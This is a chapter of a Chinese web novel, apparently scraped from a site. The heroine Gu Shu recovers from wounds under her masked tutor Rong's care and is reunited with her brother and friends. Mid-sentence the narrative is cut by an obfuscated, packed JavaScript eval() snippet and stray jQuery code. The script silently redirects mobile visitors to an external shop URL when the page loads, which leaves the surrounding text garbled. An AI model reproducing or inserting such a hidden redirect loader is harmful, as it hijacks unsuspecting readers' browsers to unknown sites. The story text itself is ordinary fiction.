12. 重聚
    谷纾是在一间草屋醒来的,她本以为去了天堂,可看见天堂是这副模样,不经回想是否生平做了什么坏事。

    拜托,她只是杀了一个要杀她的人。

    好歹是迫不得已,为何死后这般凄惨!

    直到她看见容走进来。

    “你感觉如何?”

    温润的声音在她耳旁响起,那张熟悉的银色面具依然在他的脸上,堪堪露出他的下半张脸,也足以能看出他的姿容。

    容看着她这副呆傻的样子,担忧她的伤,握住她的手腕切脉。

    脉象早已平稳许多,刚想撤回手,却被谷纾死死抓住。

    谷纾张口就咬在容的手腕上。

    一排清晰的齿印在他白皙的手腕上显得格外突兀。

    “疼吗?”

    “......”容默默收回自己的手。

    谷纾见他不回答,自顾自的念叨起来:“看来我真的死了?”

    她刚想起来肆无忌惮的活动一番,胸口的疼痛瞬间要她倒吸一口凉气:“好疼!”

    容把她摁回去:“你伤势未愈,好好休息,莫要起身。”

    谷纾大喜:“夫子,真的是你夫子!”

    “是。”

    谷纾向来习惯了他少言寡语,昏迷前的景象在她的眼前变得清晰起来,她急切地问:“夫子我怎么会在这里?我不是死了吗?春倦、夏困在哪?垂野还有我大哥他们如何了?”

    “你没死。”

    “那他们呢,他们怎样了?”谷纾又问,她实在担心。

    黑衣人长刀砍向她的样子历历在目,云垂野为了让她先跑还受了伤。

    她很怕,很怕他们没有跑出来,想到此处,她又甩了甩头,自己安抚着自己,云垂野他们一定会逃出来的。

    “还未找到。”容回她。

    谷纾还想问,门外走进来一个约莫十六七八的女子,长得不算漂亮,但清秀可人,旁边跟着一个圆脸的男子,正是阿柴,见谷纾,大喜:“娘子总算醒啦!”

    “还好醒了,公子总算可以合眼了。”阿柴感叹,容撇了他一眼,他立即噤声,不在言语。

    谷纾却将这话听了进去,他本就瘦弱,如今看来比之前更胜,身上的药味也越发浓重,白袍沾了些许灰尘,看起来有段日子不曾清理。

    她记得,夫子是最最整洁的,谷纾心里总归不是滋味。

    旁边的女子迎上前:“醒了便好!娘子不知道,你昏迷好几天了,伤口还感染了。”

    说完她又探了探谷纾的额头:“公子,烧褪了!娘子身体真好!”

    阿柴她还算熟悉,可是这位女子谷纾从未见过,上来便如此热络,谷纾有稍许不习惯,只先开口打招呼:“阿柴公子、娘子安好。还不知娘子是?”

    阿柴脆生生的应着她,那女子坐到谷纾榻前:“阿柴和公子想必你都认识,可惜先我未在平江,未与娘子见过。我自小离家,无姓无名,一直跟着公子。不过我在家中排行第九,你可以叫我小九。”

    谷纾关心道:“为何自小离家?我瞧娘子如今年龄也不大。”

    “我家是东幽的,母亲生了九个女儿,我是最没有炼药天分的那一个,母亲就把我扔了,好在我遇见了公子,能够一直服侍公子,小九就满足了。”她一脸纯真,言语间无不是对容的仰慕。

    谷纾暗自看了一眼容,很快收回神色。

    和小九聊了一会儿,她实在健谈,将谷纾是如何得救的场景描述的绘声绘色:“你不知当时,千钧一发之刻,元达一个箭步上前,将刺向娘子的剑挑开,我和阿柴立刻将娘子拉开,元石和元达看着冲上来的人,刷刷几下,就让他们血溅当场!那场面,那叫一个什么心什么鬼的......”

    “惊心动魄。”阿柴提醒她。

    “对对对!就是惊心动魄!”小九笑开了眼儿:“反正很厉害,元石和元达都好厉害!”

    这两人亦是谷纾不曾听过的,她忍不住问:“元石和元达又是何人?”

    “我们都是一起跟着公子的,保护公子的安全!”小九和她解释,有撇了撇嘴:“虽然我现在医术也学得不好,武功也不好,书也还没读几本......”

    阿柴打趣她:“你知道就好。”

    “阿柴!你!”小九气鼓鼓一张脸,向容表决心:“但是我一定会好好练武功,学药理,保护好公子的!”

    她还想和谷纾说许多关于容的事情,阿柴早已听不下去,拉过她离开了。

    容也起身想走,谷纾收回方才调笑的神色,叫住他:“夫子,这次那些人是冲你来的?”

    “嗯。”他承认:“对不起,是我拖累了你们。”

    “不是,不关夫子的事,”谷纾反驳他,“是那些黑衣人的问题,况且夫子还救了我。只是夫子,被他们缠九死一生,不知夫子为何会被他们追杀?”

    容垂下眼眸:“不知。”

    “......”

    谷纾觉得,夫子的说谎能力实在不佳,她没有追问,胸口的疼痛一直提醒着她大哥他们此刻还生死未明,她强忍着痛意:“我要去找大哥他们。”

    容蹙眉,有几分愠怒:“谷纾,躺下。”

    谷纾一愣,察觉到他有些生气,况且,他从未唤过自己名字,总是谷娘子,显得好不生分,她心中微动,并不觉得冒犯。

    容意识到自己语气有些过,态度软下来,耐心安抚:“你伤口未愈,不能行动。”

    “可让我什么都不做,我难以安心。”

    “我保证,他们不会有事,而此刻你从这出去,外面那些杀手随时可能要了你的性命。”容向她分析当前的处境:“这里很安全,元石和元达近来都在外打探消息,你在安心等候。”

    谷纾认命躺下,又是这种,无力感。出了事情,她总是这般被动,却又无能为力。

    容看出她的落寞:“人,我会帮你找。”

    谷纾看着他,这么久以来,她好像都不曾见过他的真容,也不知道他的真名,他总是寥寥几句话,确莫名叫人安心:“谢谢夫子。”

    容准备离开,又折回身:“为何不咬自己?”

    “啊?”谷纾一下没反应过来。

    容抬起手腕,一排清晰的牙印露了出来。

    “这个呀,”谷纾有些不好意思地地下头:“我怕疼,下意识就咬了,对不起夫子......”

    “无事,但日后不可随意咬别人。”容提醒她。

    谷纾连忙点头。

    稍晚些,谷纾喝了药。

    脑子中昏昏沉沉,近日来的事情一桩桩一件件压在她的心口,很熟悉的作案手法,她不得不联想到当年母亲的死。

    父亲说,母亲死于意外,朝廷已经将那些歹徒全部绳之以法,她好不容易终于从那里面走出来,可是如今这番,谷纾不得不再次思考。

    这些人为何会对容这般穷追不舍?

    为何见了那把瑶琴就猜到他们的关系?

    还有,他们这是去沪京的路,为何偏偏这么巧?

    只能说,他们也要去沪京!

    谷纾不自觉握紧拳头,她,不希望他是......

    转眼又过去好些日子,谷纾的伤在治理下总算好了许多,如今自由活动也不是问题。只是夜里想到云垂野他们,总忍不住地掉眼泪。

    容自她醒来便没有再来看过她。

    小九每天会给她送药,然后讲一堆关于容的事情,无一不是表述自己的钦慕,刚开始她听得还觉有几分趣味,后来听得太多,谷纾也听不下去了,每次看见小九欲言就开始头大。

    近来她喜欢在院子里面看夕阳,等元达和元石带消息回来。

    容总是会坐在院子里看书,大部分时候他都在看医书,偶尔看些文学书籍,还有一些她不知道的怪文异谈。

    今天他在看屈子的词,他总是看这本。

    谷纾刚开始以为肯定是他格外喜欢才看,后来阿柴告诉她,是因为此行他们总是被追杀,丢了许多书,只剩下这几本了。

    不过,她不关心这些。

    她将目光从容的身上收回,看着天边太阳西沉,一点点、一点点,黄晕的光照得容的五官越发柔和,也让她看不真切。

    “夫子在读什么?”谷纾没忍住问他。

    容抬眸,终于和她说了这些天第一句话:“鸟飞反故乡兮。”

    《哀郢》,屈子的词,她读过,楚顷襄王二十一年,白起破郢都,屈子写此悼之。

    “夫子想家了?”说起来,谷纾连他故乡在哪都不知道。

    容目光看向远方,谷纾顺着他的目光看去,远处的人一点点走近,从原先的小点,逐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396314|141191||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    渐变大,模样也越来越清晰,谷纾一眼就认出了走在最前面的少年,她立即起身大喊:“垂野!”

    “纾纾!”云垂野自然也看见了她,直奔过来,见她无事,一把将她搂进怀里,声音还有几分颤抖:“还好,还好你没事,你不知道,这些日子担心死我了。”

    谷术闲和春倦、夏困走在后面,看见谷纾安好,皆是松了一口气,元达和元石和容讲了些什么,默默退到一边。

    谷纾被云垂野这个热情的拥抱抱得简直要喘不过气来,她先是安抚地拍了拍云垂野的后背:“我这不是好好的嘛。”

    她松开云垂野,又给他们转了好几个圈,示意自己身体无碍,又想起那天云垂野为了救她背上中了一刀,连忙想看看现在恢复的如何。

    云垂野双手护咋自己的胸前,一副良家小媳妇般的模样:“这这这!虽然你我是至交好友,但也不能一上来就扒我衣服啊!”

    说完又向谷术闲求助:“术闲兄,你看她!”

    “小纾是担心你。”谷术闲笑了笑,又向容作揖:“此次多谢先生,小妹才得以保全,我等才能团聚,来日先生若有需要,不管何时,术闲都绝不推辞。”

    容朝他回礼。

    云垂野也正色起来,向容行一拜:“此前我对先生多有不敬,这次还好有先生,护小纾安全,同术闲兄所言,日后先生不管何事,垂野万死不辞。”

    “不必。”他制止云垂野的动作。

    “你们别生呀死呀的了,”谷纾看向容,请求道:“先前垂野为救我后背挨了一刀,不知现在如何了,大哥也是死里逃生,夫子可否帮他们看看?”

    “还有春倦夏困,”谷纾走到二人身旁,看着两人憔悴的脸:“当时将你们推下山坡,实属无奈之举,可有哪里受伤了?”

    夏困看见谷纾没事简直要哭出来,不知道的以为她受了天大的委屈:“夏困没事,只是擦破了点皮,娘子你当时怎么能不顾自己安危推开夏困,要是娘子出了事,夏困也干脆和娘子去了!”

    “快点呸呸呸,我这不是好好的嘛。”谷纾帮她擦了擦眼泪。

    春倦当时也被谷纾的举动吓得魂都没了,她不同于夏困,什么事情都写在脸上,宣之于口。

    但若当时娘子出事,她绝对难以独活。

    她声音有些哽咽:“娘子,以后万万不可再将我们推开了,不管事情如何,春倦愿永远陪在娘子身边。”

    “不会了。”谷纾把春倦的头发整理了一下,她是最一丝不苟的,可跟着她,这次也变得凌乱了许多。

    晚上,容将他们身上的伤一一看过,小院中弥漫着各种药味儿,晚上又一起聚在院中吃了顿饭,谷纾才知道这些天,他们逃出来是有多么不易。

    谷术闲的武功不过是花花架子,世家子弟学习时通晓一点便就好了。

    云垂野虽然出生武将世家,可他从小就不想和先辈一样当将军,故而也就三脚猫的功夫,好在谷纾跑时惊动了好些人,谷术闲和云垂野才得以有了喘息的机会,趁着混乱与小厮拼死相护逃了出来。

    两人在小山坡下遇见了春倦和夏困,这才知道谷纾独自面对那些人的事情,他们先叫宓盱去调人手,他们却在山林里寻了谷纾几天几夜。

    好在天不负人愿,遇见了同样在寻他们的元达和元石,开始谷术闲还有几分怀疑,可云垂野那管的了那么多,只叫他们赶紧带路。

    他此生都没有如此恐慌过。

    生平第一次不想去游历山河,他恨自己的弱小,恨自己没有好好习武,不能将重要之人护于身侧。

    饭吃到很晚,谷纾喝了点果酒,就已经开始头晕,她向来酒量不好,又贪杯,这会儿脸上泛起红晕,身子不自觉地向一边倾倒,眼看就要倒到容的身上,云垂野将他身子掰过来,又理了理他额前的发丝,向众人示意:“小纾喝多了,我送她回去休息。”

    “也好,辛苦垂野照顾了。”谷术闲回他。

    春倦本想上去搭把手,谷术闲却制止了她。

    月光下,少年将人打横抱起,向屋内走去,谷纾丝毫不安分地在云垂野的怀里动来动去,嘴里还时不时嘟囔着什么,云垂野都一一应承。

    他将她安置在榻上,又掖好被子,盯着她瞧了许久,最后轻声在她旁边说了几句话。

    倾我所有,护君周全。